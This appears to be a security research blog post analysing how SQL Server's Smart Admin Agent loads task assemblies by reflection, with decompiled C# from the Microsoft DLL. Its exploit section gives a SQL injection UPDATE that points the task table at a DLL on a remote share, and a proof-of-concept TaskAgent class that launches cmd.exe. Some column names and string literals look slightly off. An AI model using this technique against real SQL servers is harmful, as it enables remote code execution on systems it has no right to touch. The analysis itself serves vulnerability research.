SQL Server Smart Admin Agent
SQL Server is a widely used database management system developed by Microsoft. In this article, we will conduct a technical analysis of one of its core components: the SQL Agent.
SQL Agent
SQL Server includes several components, and one of them is the SQL Agent, a service that automates scheduled tasks within the database.
This service enables system administrators to manage backups, maintenance, and automation processes in a secure and structured manner.
Microsoft.SqlAutoAdmin.SqlAutoAdmin
The tasks associated with SQL Agent are handled by Microsoft.SqlAutoAdmin.SqlAutoAdmin.dll, which contains multiple functionalities such as smartbackup and jobs.
LoadTaskAgentAssembly
Inside SmartAdminManager, the LoadTaskAgentAssembly method plays a significant role:
private Assembly LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor taskAgentDescriptor)
{
Assembly assembly = null;
string text = taskAgentDescriptor.binaryName;
if (!string.IsNullOrEmpty(taskAgentDescriptor.binaryPath))
{
text = taskAgentDescriptor.binaryPath + "\" + text;
}
try
{
this.DebugLog("SmartAdminManager: Trying to load task assembly from " + text + "\n");
assembly = Assembly.LoadFrom(text);
}
catch (FileNotFoundException)
{
this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
}
if (null == assembly)
{
FileInfo fileInfo = new FileInfo(Assembly.GetExecutingAssembly().Location);
text = fileInfo.DirectoryName + "\" + taskAgentDescriptor.binaryName;
try
{
this.DebugLog("SmartAdminManager: Trying again to load task assembly from " + text + "\n");
assembly = Assembly.LoadFrom(text);
}
catch (FileNotFoundException)
{
this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
}
if (null != assembly)
{
taskAgentDescriptor.binaryPath = fileInfo.DirectoryName;
this.UpdateTaskAgentPath(taskAgentDescriptor);
}
}
return assembly;
}
Before understanding this method, we need to examine the nested struct TaskAgentDescriptor:
private struct TaskAgentDescriptor
{
public string binaryName;
public string binaryPath;
public string className;
}
How this method works, in summary:
assemblyis initialized as null.binaryNameis assigned to thetextvariable.- If
binaryPathis not empty, it is appended tobinaryName. Assembly.LoadFromattempts to load the specified assembly.
The critical part here is the use of Assembly.LoadFrom. While this method alone may not guarantee RCE (Remote Code Execution), it opens the door to NTLM relay scenarios.
LoadTaskAgentAssembly Trace
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor) : Assembly @060000D7
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Run() : void @060000D9
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Start(INativeServices) : bool @060000D4
GetTaskAgentDescriptors
private SmartAdminManager.TaskAgentDescriptor[] GetTaskAgentDescriptors()
{
SmartAdminManager.TaskAgentDescriptor[] array = null;
this.DebugLog("TaskMetadataService.GetTasks: Getting SqlConnectivity Service.\n");
try
{
this.DebugLog("GetTaskAgentDescriptors: Getting Sql connection.\n");
int num = 0;
using (SqlConnection privateConnection = this.sqlConnectivityService.GetPrivateConnection(false))
{
this.DebugLog("GetTaskAgentDescriptors: Getting number of tasks to execute.\n");
using (SqlCommand sqlCommand = new SqlCommand("SELECT COUNT(*) FROM autoadmin_task_agents", privateConnection))
{
using (SqlDataReader sqlDataReader = sqlCommand.ExecuteReader())
{
while (sqlDataReader.Read())
{
array = new SmartAdminManager.TaskAgentDescriptor[sqlDataReader.GetInt32(0)];
}
}
}
this.DebugLog("TaskMetadataService.GetTasks: Getting task details.\n");
using (SqlCommand sqlCommand2 = new SqlCommand("SELECT * FROM autoadmin_task_agents", privateConnection))
{
using (SqlDataReader sqlDataReader2 = sqlCommand2.ExecuteReader())
{
while (sqlDataReader2.Read())
{
array[num].binaryName = sqlDataReader2.GetString(1);
array[num].binaryPath = sqlDataReader2.GetString(2);
array[num].className = sqlDataReader2.GetString(3);
num++;
}
}
}
}
}
Run

The Run method processes the descriptors obtained via GetTaskAgentDescriptors and attempts to load the corresponding assemblies.
The critical section is here:
Type type = assembly.GetType(taskAgentDescriptor.className);
if (type == null || !type.IsSubclassOf(typeof(TaskAgent)))
{
this.loggerService.Log("[SmartAdmin] Task agent " + taskAgentDescriptor.binaryName + " was loaded but is not compatible.");
}
else
{
this.DebugLog("SmartAdminManager.Run: Creating task instance.\n");
this.taskAgents[i] = (TaskAgent)assembly.CreateInstance(type.FullName);
this.taskAgents[i].Start(this);
array[i] = new Thread(new ThreadStart(this.taskAgents[i].DoWork));
array[i].Name = this.taskAgents[i].GetName();
array[i].Start();
}
In summary:
assembly.GetType()retrieves the type using the className.- If the type inherits from
TaskAgent, it is instantiated. CreateInstancedynamically creates the class instance.Start()andDoWork()methods are invoked.
This mechanism creates an attack surface because of its reliance on reflection and type validation.
IsSubclassOf
The IsSubclassOf reflection method checks if a type inherits from another type. While it enforces some restrictions, in certain scenarios type bypass could still be possible.
TaskAgent Class
namespace Microsoft.SqlServer.SmartAdmin
{
public abstract class TaskAgent
{
public abstract void Start(IServicesFactory services);
public abstract void Stop();
public abstract void DoWork();
public abstract void ExternalJob(string command, LogBaseService jobLogger);
public string GetName()
{
return this.taskAgentSignature;
}
protected string taskAgentSignature;
}
}
Exploit Scenario
An attacker could use SQL Injection to manipulate the autoadmin_task_agents table and achieve RCE:
UPDATE autoadmin_task_agents
SET task_assembly_name = "class.dll",
task_assembly_path="\\\\remote-server\\ping.dll",
className="Class1.Class1";
Then, a custom class inheriting from TaskAgent could be executed:
using Microsoft.SqlServer.SmartAdmin;
using System.Diagnostics;
namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.Start();
}
public override void DoWork() {}
public override void ExternalJob(string command, LogBaseService jobLogger) {}
public override void Start(IServicesFactory services) {}
public override void Stop() {}
}
}

Conclusion
The TaskAgent mechanism within Microsoft.SqlServer.SmartAdmin can be abused to achieve remote code execution (RCE).
The reliance on Assembly.LoadFrom and reflection-based instantiation (CreateInstance) creates significant security risks if not properly mitigated.
